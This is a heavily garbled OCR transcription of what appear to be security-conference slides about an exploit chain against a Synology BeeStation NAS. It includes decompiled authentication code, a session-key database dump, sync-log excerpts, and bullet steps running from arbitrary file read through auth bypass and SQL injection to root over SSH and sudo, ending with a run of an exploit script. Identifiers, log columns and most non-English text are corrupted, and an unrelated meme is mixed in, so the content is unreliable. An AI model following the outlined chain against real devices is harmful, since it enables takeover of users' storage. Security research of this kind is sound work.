{if(*is_single_thread)++*((_DWORD*)v13+2) ;else sub_EBCEO(1u, (atomic_uint*)(v13+1));}v14=sub_1BOBO(&v20, kk_
essage, payload_string, a2, pkey, out_hash, (SynoPAMLogin: :NoiseCipherPrivate*)&v19) ;if(v13){vi15=atomic_load((u
signed __int64*)v13+1);if(v15==0x100000001LL){v18=*v13;v13[1]=0LL;(*(void(__fastcall**)(__int64*))(v18+16)
(v13);(*(void(__fastcall**)(__int64*))(*v13+24))(v13);}else{if(*is_single_thread){v16=*((_DWORD*)v13+2) ;*(
_DWORD*)v13+2)=v16-1; }else{v16=sub_EBCEO(OxFFFFFFFF, (atomic_uint*)(v13+1));}if(v16==1)std::_Sp_counted_bas
<(__gnu_cxx::_Lock_policy)2>::_M_release_last_use_cold(v13);}}if(v20.ptr!=v20.data)operator delete(v20.ptr
*(_QWORD*)v20.data+1LL) ;return v14; }void __fastcall __noreturn sub_1C1B8(struct _Unwind_Exception*al){_QWO
D*v1;__int64 v2;if(v1)std::_Sp_counted_base<(__gnu_cxx::_Lock_policy)2>::_M_release(v1);std::string::_M_di
pose(v2) ;Unwind_Resume(al);}__int64 __fastcall SynoPAMLogin: :Noise::TestResponseKey(__int64 al){__int64 v
__1nt64*v2;int*v3;__int64 v4;char*v5;size_t v6;__uid_t v/;unsigned int v8;unsigned __int64 v9;int v10;__uil
_t vi12;int v13;__uid_t v14;char*vl5;unsigned __int8 v16;_QWORD*v17;int v18;unsigned __int64 v19;int v20;__
id_t v21:__uid_t v22;:__int64 v23;__uid_t v24:int v25;__uid_t v26;__uid_t v27:int v28:__uid_t v29;__uid_t v
O;__int64 v31;__uid_t v32;int v33;__uid_t v34;char*ptr;__int64 v36;void*v37/;size_t v38;__uid_t v39;int v460
__uid_t v41;size_t size;__int64 v44:int v45:_QWORD*v46:_QWORD*v47:char*v48:char v49[16];size_t v50;:_QWORD*
51;void*dest;__int128 v53;void*v54;__int64 v55;__int64 v56[2];string v57;void*v58[2];__int64 v59[2];void*v

int64 v65([2]:void*v66([2];:__int64 v67[2]:void*v68[2]:

0: _int64 v61:_ _int64 v62[2]:void*v63: _int64 v64:

— | J——
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/fusr/syno/etc/private/session/syno-pam-key.db

id user | scope key attributel1 attribute2 | enabled
admin i Oxec9184cfelel.. NULL browser 0
Ox96943a24b2f4.. NULL browser 1

admin

0x112233445566..
5Tk S
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Hello Orange,
We will NOT provide the username.




® Web API Restricted AFR @




/volumel/@synologydrive/log/syncfolder. log

2024-10-16T23:
2024-10-10T23:
2024-10-16T23:
2024-10-16T23:
2024-10-16T23:
2024-10-17T17:
2024-10-17T17:
2024-10-17T17:
2024-10-18T18:
2024-10-18T18:

2024-10-18T18

2024-10-18T138
2024-10-18T18
2024-10-18T18
2024-10-18T138

24 :
24 :
24 :
24 :
24 :
06:
06:
06:
09:
09:
:09:
2024-10-18T18:

51

32
33
44
44
44
51
51
51
13
13
16

: 26
ol 15
53
=53
253

26
00
00
00

(23075:
(23075
(23114:
(23114:
(23114:
(23114:
(23114:;
(23114:
(22306:
(223006:
(22344
(13150:
(13150:
(13188:
(13188
(13188:

31040)
16928)
86016)
27488)
27488)
86016)
86016)
86016)

2400)

2400)
71488)
99680)
99680)
86688)
86688)
86688)

[INFO] service-task.cpp.o(261): NotifyHandler<(CloudStation::SharePreSetNotify>: , homes, , /volumel/homes, , normal, , no, @, O

[INFO] service-task.cpp.o(325): NotifyHandler<CloudStation: :SharePostSetNotify>:

, homes, , /volumel/homes, , normal,

[ERROR] path-convert-helper.cpp.o(374): Fail to get share 'homes' info when converting path '/volumes/volumel/homes'
LINFO] path-convert-helper.cpp.o(365): Fail to get info for user 'admin', try fallback to homes, path '/volumes/volumel/homes/admin’
[ERROR] path-convert-helper.cpp.o(368): Fail to get share 'homes' info when converting path '/volumes/volumel/homes/admin'’

[WARNING] service-watch.cpp.o(82): Failed
[WARNING] service-watch.cpp.o(82): Failed
[INFO] service-watch.cpp.0(297): updating
[WARNING] service-watch.cpp.o(82): Failed
[ INFO] service-watch.cpp.o0(297): updating

[WARNING] service-watch.cpp.o(82): Failed
[ INFO] service-watch.cpp.o0(297): updating
[WARNING] service-watch.cpp.o(82): Failed
[WARNING] service-watch.cpp.o(82): Failed
[INFO] service-watch.cpp.o(297): updating

to rename the
to rename the
watch path to
to rename the
watch path to

to rename the
watch path to
to rename the
to rename the
watch path to

folder '/volumel/homes/admin/@eaDir/@tmp/clientd.tmp.dir’
folder '/volumel/homes/admin/@eaDir/@tmp/cloud.tmp.dir’
'/volumel/homes/admin' for user 'admin'.

folder '/volumel/homes/admin/@eaDir/@tmp/clientd.tmp.dir’
'/volumel/homes/admin' for user 'admin'.

[ ERROR] path-convert-helper.cpp.o(374): Fail to get share 'homes' info when converting path '/volumes/volumel/homes'

folder '/volumel/homes/admin/@eaDir/@tmp/clientd.tmp.dir’
'/volumel/homes/admin' for user 'admin'.

folder '/volumel/homes/howd4r3you/@eaDir/@tmp/clientd.tmp.dir’
folder '/volumel/homes/howd4r3you/@eaDir/@tmp/cloud.tmp.dir’
'/volumel/homes/howd4r3you' for user 'howd4r3you'.

SENO )
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watch path to /volumel/homes/..

for user 'PuWn20Wn2024User ' .







HEY BATMAN, WHAT ARE

YOUR PARENTS GETTING MY PARENTS ARE
YOU FOR CHRIST-  PEEARAAAAAP!!!
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@ Web API Restricted AFR & log 15§ ° BUS{EFERTE




@ Syncd Auth Bypass B E(E B RIZEE ThE




@ i%53iB Syncd E£BY SQL Injection 1§ 2 i&H1%E) DB




@ AT S50 BeeStation AEIREASHE




@ SEAEIRTEEIA SSH ' _14#2% sudo pX root ~#




UREECE) ounipkineDEVCORE

$ python3 synology-bst-exp-v4.py


https://docs.google.com/file/d/1tL_hki3jQBzp1n2VZxQhs0Ob_g-wA6We/preview
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Q&A
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